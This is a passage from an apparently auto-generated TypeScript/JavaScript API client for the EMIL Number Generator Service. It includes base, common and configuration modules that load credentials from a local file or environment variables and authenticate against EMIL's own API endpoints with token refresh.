| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.RequiredError = exports.BaseAPI = exports.resetRetry = exports.Environment = exports.COLLECTION_FORMATS = exports.BASE_PATH = void 0; | ||
| var configuration_1 = require("./configuration"); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var axios_1 = __importDefault(require("axios")); | ||
| var fs = __importStar(require("fs")); | ||
| var path = __importStar(require("path")); | ||
| var os = __importStar(require("os")); | ||
| exports.BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, ""); | ||
| var CONFIG_DIRECTORY = '.emil'; | ||
| var CONFIG_FILENAME = 'credentials'; | ||
| var KEY_USERNAME = 'emil_username'; | ||
| var KEY_PASSWORD = 'emil_password'; | ||
| var filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| exports.COLLECTION_FORMATS = { | ||
| csv: ",", | ||
| ssv: " ", | ||
| tsv: "\t", | ||
| pipes: "|", | ||
| }; | ||
| var Environment; | ||
| (function (Environment) { | ||
| Environment["Production"] = "https://apiv2.emil.de"; | ||
| Environment["Test"] = "https://apiv2-test.emil.de"; | ||
| Environment["Staging"] = "https://apiv2-staging.emil.de"; | ||
| Environment["Development"] = "https://apiv2-dev.emil.de"; | ||
| Environment["ProductionZurich"] = "https://eu-central-2.apiv2.emil.de"; | ||
| })(Environment = exports.Environment || (exports.Environment = {})); | ||
| var _retry_count = 0; | ||
| var _retry = null; | ||
| function resetRetry() { | ||
| _retry_count = 0; | ||
| } | ||
| exports.resetRetry = resetRetry; | ||
| var NETWORK_ERROR_MESSAGE = "Network Error"; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| var BaseAPI = /** @class */ (function () { | ||
| function BaseAPI(configuration, basePath, axios) { | ||
| if (basePath === void 0) { basePath = exports.BASE_PATH; } | ||
| if (axios === void 0) { axios = axios_1.default; } | ||
| this.basePath = basePath; | ||
| this.axios = axios; | ||
| if (configuration) { | ||
| this.configuration = configuration; | ||
| this.basePath = configuration.basePath || this.basePath; | ||
| } | ||
| else { | ||
| this.configuration = new configuration_1.Configuration({ | ||
| basePath: this.basePath, | ||
| }); | ||
| } | ||
| this.attachInterceptor(axios); | ||
| } | ||
| BaseAPI.prototype.initialize = function (env, targetWorkspace) { | ||
| if (env === void 0) { env = Environment.Production; } | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| this.configuration.basePath = env; | ||
| return [4 /*yield*/, this.loadCredentials()]; | ||
| case 1: | ||
| _a.sent(); | ||
| if (!this.username) return [3 /*break*/, 3]; | ||
| return [4 /*yield*/, this.authorize(this.username, this.password, targetWorkspace)]; | ||
| case 2: | ||
| _a.sent(); | ||
| this.password = null; // to avoid keeping password loaded in memory. | ||
| _a.label = 3; | ||
| case 3: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.loadCredentials = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var error_1; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| _a.trys.push([0, 2, , 3]); | ||
| return [4 /*yield*/, this.readConfigFile()]; | ||
| case 1: | ||
| _a.sent(); | ||
| return [3 /*break*/, 3]; | ||
| case 2: | ||
| error_1 = _a.sent(); | ||
| console.warn("No credentials file found. Check that ".concat(filePath, " exists.")); | ||
| return [3 /*break*/, 3]; | ||
| case 3: | ||
| this.readEnvVariables(); | ||
| if (!this.username) { | ||
| console.info("No credentials found in credentials file or environment variables. Either provide some or use \n authorize() function."); | ||
| } | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.readConfigFile = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var file, lines; | ||
| var _this = this; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, fs.promises.readFile(filePath, 'utf-8')]; | ||
| case 1: | ||
| file = _a.sent(); | ||
| lines = file.split(os.EOL) | ||
| .filter(Boolean); | ||
| lines.forEach(function (line) { | ||
| if (line.startsWith(KEY_USERNAME)) { | ||
| _this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : ''; | ||
| } | ||
| else if (line.startsWith(KEY_PASSWORD)) { | ||
| _this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : ''; | ||
| } | ||
| }); | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.readEnvVariables = function () { | ||
| if (process.env.EMIL_USERNAME) { | ||
| this.username = process.env.EMIL_USERNAME; | ||
| this.password = process.env.EMIL_PASSWORD || ''; | ||
| return true; | ||
| } | ||
| return false; | ||
| }; | ||
| BaseAPI.prototype.selectEnvironment = function (env) { | ||
| this.configuration.basePath = env; | ||
| }; | ||
| BaseAPI.prototype.authorize = function (username, password, targetWorkspace) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var options, response, accessToken, refreshToken; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/login"), | ||
| headers: { 'Content-Type': 'application/json' }, | ||
| data: { | ||
| username: username, | ||
| password: password, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| response = _a.sent(); | ||
| accessToken = response.data.accessToken; | ||
| this.configuration.username = username; | ||
| this.configuration.accessToken = "Bearer ".concat(accessToken); | ||
| refreshToken = this.extractRefreshToken(response); | ||
| this.configuration.refreshToken = refreshToken; | ||
| if (!targetWorkspace) return [3 /*break*/, 3]; | ||
| return [4 /*yield*/, this.switchWorkspace(targetWorkspace)]; | ||
| case 2: | ||
| _a.sent(); | ||
| _a.label = 3; | ||
| case 3: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.switchWorkspace = function (targetWorkspace) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var options, response, accessToken, refreshToken; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/workspaces/switch"), | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| 'Authorization': "Bearer ".concat(this.configuration.accessToken), | ||
| 'Cookie': this.configuration.refreshToken, | ||
| }, | ||
| data: { | ||
| username: this.configuration.username, | ||
| targetWorkspace: targetWorkspace, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| response = _a.sent(); | ||
| accessToken = response.data.accessToken; | ||
| this.configuration.accessToken = "Bearer ".concat(accessToken); | ||
| refreshToken = this.extractRefreshToken(response); | ||
| if (refreshToken) { | ||
| this.configuration.refreshToken = refreshToken; | ||
| } | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.refreshTokenInternal = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var _a, username, refreshToken, options, accessToken; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| _a = this.configuration, username = _a.username, refreshToken = _a.refreshToken; | ||
| if (!username || !refreshToken) { | ||
| return [2 /*return*/, '']; | ||
| } | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/refresh-token"), | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| Cookie: refreshToken, | ||
| }, | ||
| data: { username: username }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| accessToken = (_b.sent()).data.accessToken; | ||
| return [2 /*return*/, accessToken]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.extractRefreshToken = function (response) { | ||
| if (response.headers && response.headers['set-cookie'] | ||
| && response.headers['set-cookie'].length > 0) { | ||
| return "".concat(response.headers['set-cookie'][0].split(';')[0], ";"); | ||
| } | ||
| return ''; | ||
| }; | ||
| BaseAPI.prototype.getConfiguration = function () { | ||
| return this.configuration; | ||
| }; | ||
| BaseAPI.prototype.attachInterceptor = function (axios) { | ||
| var _this = this; | ||
| axios.interceptors.response.use(function (res) { | ||
| return res; | ||
| }, function (err) { return __awaiter(_this, void 0, void 0, function () { | ||
| var originalConfig, tokenString, accessToken, _error_1, tokenString, accessToken, _error_2; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| originalConfig = err.config; | ||
| if (!err.response) return [3 /*break*/, 5]; | ||
| if (!(err.response.status === 401 && !originalConfig._retry)) return [3 /*break*/, 4]; | ||
| originalConfig._retry = true; | ||
| _a.label = 1; | ||
| case 1: | ||
| _a.trys.push([1, 3, , 4]); | ||
| return [4 /*yield*/, this.refreshTokenInternal()]; | ||
| case 2: | ||
| tokenString = _a.sent(); | ||
| accessToken = "Bearer ".concat(tokenString); | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return [2 /*return*/, axios.request(originalConfig)]; | ||
| case 3: | ||
| _error_1 = _a.sent(); | ||
| if (_error_1.response && _error_1.response.data) { | ||
| return [2 /*return*/, Promise.reject(_error_1.response.data)]; | ||
| } | ||
| return [2 /*return*/, Promise.reject(_error_1)]; | ||
| case 4: | ||
| if (err.response.status === 403 && err.response.data) { | ||
| return [2 /*return*/, Promise.reject(err.response.data)]; | ||
| } | ||
| return [3 /*break*/, 9]; | ||
| case 5: | ||
| if (!(err.message === NETWORK_ERROR_MESSAGE | ||
| && err.isAxiosError | ||
| && originalConfig.headers.hasOwnProperty('Authorization') | ||
| && _retry_count < 4)) return [3 /*break*/, 9]; | ||
| _retry_count++; | ||
| _a.label = 6; | ||
| case 6: | ||
| _a.trys.push([6, 8, , 9]); | ||
| return [4 /*yield*/, this.refreshTokenInternal()]; | ||
| case 7: | ||
| tokenString = _a.sent(); | ||
| accessToken = "Bearer ".concat(tokenString); | ||
| _retry = true; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return [2 /*return*/, axios.request(__assign({}, originalConfig))]; | ||
| case 8: | ||
| _error_2 = _a.sent(); | ||
| if (_error_2.response && _error_2.response.data) { | ||
| return [2 /*return*/, Promise.reject(_error_2.response.data)]; | ||
| } | ||
| return [2 /*return*/, Promise.reject(_error_2)]; | ||
| case 9: return [2 /*return*/, Promise.reject(err)]; | ||
| } | ||
| }); | ||
| }); }); | ||
| }; | ||
| return BaseAPI; | ||
| }()); | ||
| exports.BaseAPI = BaseAPI; | ||
| ; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| var RequiredError = /** @class */ (function (_super) { | ||
| __extends(RequiredError, _super); | ||
| function RequiredError(field, msg) { | ||
| var _this = _super.call(this, msg) || this; | ||
| _this.field = field; | ||
| _this.name = "RequiredError"; | ||
| return _this; | ||
| } | ||
| return RequiredError; | ||
| }(Error)); | ||
| exports.RequiredError = RequiredError; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { RequestArgs } from "./base"; | ||
| import { AxiosInstance, AxiosResponse } from 'axios'; | ||
| import { URL } from 'url'; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const DUMMY_BASE_URL = "https://example.com"; | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| export declare const assertParamExists: (functionName: string, paramName: string, paramValue: unknown) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setApiKeyToObject: (object: any, keyParamName: string, configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setBasicAuthToObject: (object: any, configuration?: Configuration) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setBearerAuthToObject: (object: any, configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setOAuthToObject: (object: any, name: string, scopes: string[], configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setSearchParams: (url: URL, ...objects: any[]) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const serializeDataIfNeeded: (value: any, requestOptions: any, configuration?: Configuration) => any; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const toPathString: (url: URL) => string; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const createRequestFunction: (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) => <T = unknown, R = AxiosResponse<T, any, {}>>(axios?: AxiosInstance, basePath?: string) => Promise<R>; | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface IStorageConverter<D, SD> { | ||
| toStorageData(data: D): SD; | ||
| fromStorageData(storageData: SD): D; | ||
| } | ||
| export interface IStorage { | ||
| get<T>(key: string, converter?: IStorageConverter<T, any>): T | null; | ||
| set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void; | ||
| } | ||
| export declare class LocalStorage implements IStorage { | ||
| readonly storage: Storage; | ||
| constructor(); | ||
| get<T>(key: string, converter?: IStorageConverter<T, any>): T | null; | ||
| set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void; | ||
| } | ||
| export declare const defaultStorage: () => IStorage; |
-277
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.defaultStorage = exports.LocalStorage = exports.createRequestFunction = exports.toPathString = exports.serializeDataIfNeeded = exports.setSearchParams = exports.setOAuthToObject = exports.setBearerAuthToObject = exports.setBasicAuthToObject = exports.setApiKeyToObject = exports.assertParamExists = exports.DUMMY_BASE_URL = void 0; | ||
| var base_1 = require("./base"); | ||
| var url_1 = require("url"); | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| exports.DUMMY_BASE_URL = 'https://example.com'; | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| var assertParamExists = function (functionName, paramName, paramValue) { | ||
| if (paramValue === null || paramValue === undefined) { | ||
| throw new base_1.RequiredError(paramName, "Required parameter ".concat(paramName, " was null or undefined when calling ").concat(functionName, ".")); | ||
| } | ||
| }; | ||
| exports.assertParamExists = assertParamExists; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setApiKeyToObject = function (object, keyParamName, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarApiKeyValue, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.apiKey)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.apiKey === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.apiKey(keyParamName)]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.apiKey]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| localVarApiKeyValue = _a; | ||
| object[keyParamName] = localVarApiKeyValue; | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setApiKeyToObject = setApiKeyToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setBasicAuthToObject = function (object, configuration) { | ||
| if (configuration && (configuration.username || configuration.password)) { | ||
| object["auth"] = { username: configuration.username, password: configuration.password }; | ||
| } | ||
| }; | ||
| exports.setBasicAuthToObject = setBasicAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setBearerAuthToObject = function (object, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var accessToken, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.accessToken()]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.accessToken]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| accessToken = _a; | ||
| object["Authorization"] = configuration.getBearerToken(accessToken); | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setBearerAuthToObject = setBearerAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setOAuthToObject = function (object, name, scopes, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAccessTokenValue, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.accessToken(name, scopes)]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.accessToken]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| localVarAccessTokenValue = _a; | ||
| object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue); | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setOAuthToObject = setOAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setSearchParams = function (url) { | ||
| var objects = []; | ||
| for (var _i = 1; _i < arguments.length; _i++) { | ||
| objects[_i - 1] = arguments[_i]; | ||
| } | ||
| var searchParams = new url_1.URLSearchParams(url.search); | ||
| for (var _a = 0, objects_1 = objects; _a < objects_1.length; _a++) { | ||
| var object = objects_1[_a]; | ||
| for (var key in object) { | ||
| if (Array.isArray(object[key])) { | ||
| searchParams.delete(key); | ||
| for (var _b = 0, _c = object[key]; _b < _c.length; _b++) { | ||
| var item = _c[_b]; | ||
| searchParams.append(key, item); | ||
| } | ||
| } | ||
| else { | ||
| searchParams.set(key, object[key]); | ||
| } | ||
| } | ||
| } | ||
| url.search = searchParams.toString(); | ||
| }; | ||
| exports.setSearchParams = setSearchParams; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var serializeDataIfNeeded = function (value, requestOptions, configuration) { | ||
| var nonString = typeof value !== 'string'; | ||
| var needsSerialization = nonString && configuration && configuration.isJsonMime | ||
| ? configuration.isJsonMime(requestOptions.headers['Content-Type']) | ||
| : nonString; | ||
| return needsSerialization | ||
| ? JSON.stringify(value !== undefined ? value : {}) | ||
| : (value || ""); | ||
| }; | ||
| exports.serializeDataIfNeeded = serializeDataIfNeeded; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var toPathString = function (url) { | ||
| return url.pathname + url.search + url.hash; | ||
| }; | ||
| exports.toPathString = toPathString; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var createRequestFunction = function (axiosArgs, globalAxios, BASE_PATH, configuration) { | ||
| return function (axios, basePath) { | ||
| if (axios === void 0) { axios = globalAxios; } | ||
| if (basePath === void 0) { basePath = BASE_PATH; } | ||
| var axiosRequestArgs = __assign(__assign({}, axiosArgs.options), { url: ((configuration === null || configuration === void 0 ? void 0 : configuration.basePath) || basePath) + axiosArgs.url }); | ||
| return axios.request(axiosRequestArgs); | ||
| }; | ||
| }; | ||
| exports.createRequestFunction = createRequestFunction; | ||
| var LocalStorage = /** @class */ (function () { | ||
| function LocalStorage() { | ||
| this.storage = localStorage; | ||
| } | ||
| LocalStorage.prototype.get = function (key, converter) { | ||
| var jsonValue = this.storage.getItem(key); | ||
| if (jsonValue === null) { | ||
| return null; | ||
| } | ||
| var value = JSON.parse(jsonValue); | ||
| if (converter !== undefined) { | ||
| return converter.fromStorageData(value); | ||
| } | ||
| else { | ||
| return value; | ||
| } | ||
| }; | ||
| LocalStorage.prototype.set = function (key, value, converter) { | ||
| var valueToStore = value; | ||
| if (converter !== undefined) { | ||
| valueToStore = converter.toStorageData(value); | ||
| } | ||
| var jsonValue = JSON.stringify(valueToStore); | ||
| this.storage.setItem(key, jsonValue); | ||
| }; | ||
| return LocalStorage; | ||
| }()); | ||
| exports.LocalStorage = LocalStorage; | ||
| var _defaultStorage = null; | ||
| var defaultStorage = function () { | ||
| return _defaultStorage || (_defaultStorage = new LocalStorage()); | ||
| }; | ||
| exports.defaultStorage = defaultStorage; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface ConfigurationParameters { | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| username?: string; | ||
| password?: string; | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| basePath?: string; | ||
| baseOptions?: any; | ||
| formDataCtor?: new () => any; | ||
| } | ||
| export declare class Configuration { | ||
| /** | ||
| * parameter for apiKey security | ||
| * @param name security name | ||
| * @memberof Configuration | ||
| */ | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| username?: string; | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| password?: string; | ||
| /** | ||
| * parameter for oauth2 security | ||
| * @param name security name | ||
| * @param scopes oauth2 scope | ||
| * @memberof Configuration | ||
| */ | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| /** | ||
| * override base path | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| basePath?: string; | ||
| /** | ||
| * base options for axios calls | ||
| * | ||
| * @type {any} | ||
| * @memberof Configuration | ||
| */ | ||
| baseOptions?: any; | ||
| /** | ||
| * The FormData constructor that will be used to create multipart form data | ||
